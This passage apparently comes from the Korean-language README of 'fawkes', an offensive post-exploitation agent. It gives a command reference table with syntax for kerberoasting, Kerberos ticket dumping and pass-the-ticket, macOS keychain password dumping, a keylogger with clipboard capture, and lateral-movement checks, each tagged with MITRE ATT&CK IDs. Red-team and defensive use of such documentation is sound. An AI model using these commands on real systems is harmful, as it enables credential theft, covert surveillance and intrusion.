jxa | `jxa -code '<script>' [-timeout 60]` 또는 `jxa -file /path/to/script.js` | **(macOS 전용)** Foundation, AppKit, Security 프레임워크에 대한 ObjC 브리지 액세스로 JavaScript for Automation (JXA) 스크립트 실행. 인라인 코드 및 파일 입력 지원 (T1059.007).
kerberoast | `kerberoast -server <DC> -username <user@domain> -password <pass> [-spn <SPN>]` | SPN 계정에 대한 TGS 티켓을 요청하고 오프라인 크래킹을 위해 hashcat 형식으로 해시 추출. LDAP을 통해 자동 열거. 크로스 플랫폼 (T1558.003).
klist | `klist -action <list\|purge\|dump\|import> [-server <filter>] [-ticket <base64>] [-path <path>]` | Kerberos 티켓 열거, 덤프, 제거 및 가져오기. 가져오기를 통해 패스더티켓 활성화: Windows는 LSA에 kirbi 주입, Linux/macOS는 ccache를 쓰고 KRB5CCNAME 설정. 크로스 플랫폼 (T1558, T1550.003).
keychain | `keychain -action <list\|dump\|find-password\|find-internet\|find-cert> [-service <name>] [-server <host>]` | **(macOS 전용)** macOS 키체인 액세스 — 키체인 나열, 메타데이터 덤프, 일반/인터넷 비밀번호 찾기, 인증서 열거.
kerb-delegation | `kerb-delegation -action <all\|unconstrained\|constrained\|rbcd\|monitor> -server <DC> -username <user@domain> -password <pass> [-duration <s>] [-interval <s>]` | Kerberos 위임 관계 열거 — 제한되지 않음, 제한됨 (프로토콜 전환 포함), RBCD. **monitor** 작업 (Windows/SYSTEM 전용)은 LSA에서 들어오는 TGT를 폴링하고 kirbi blob으로 내보냅니다. monitor를 제외한 크로스 플랫폼 (T1550.003, T1558).
keylog | `keylog -action <start\|stop\|dump\|status\|clear>` | 저수준 키보드 로거. Windows: SetWindowsHookEx. Linux: /dev/input evdev. macOS: IOKit HID. Ctrl+V/Cmd+V 붙여넣기 이벤트를 감지하고 클립보드 콘텐츠 캡처. 모든 플랫폼에서 창 컨텍스트 추적 (T1056.001).
lateral-check | `lateral-check -hosts <IPs/CIDRs> [-timeout <seconds>]` | 대상에 대한 측면 이동 옵션 테스트 — SMB, WinRM, RDP, RPC, SSH 연결을 확인하고 적절한 방법 제안. 크로스 플랫폼 (T1046, T1021).
```
---
[Read more](https://github.com/galoryber/fawkes)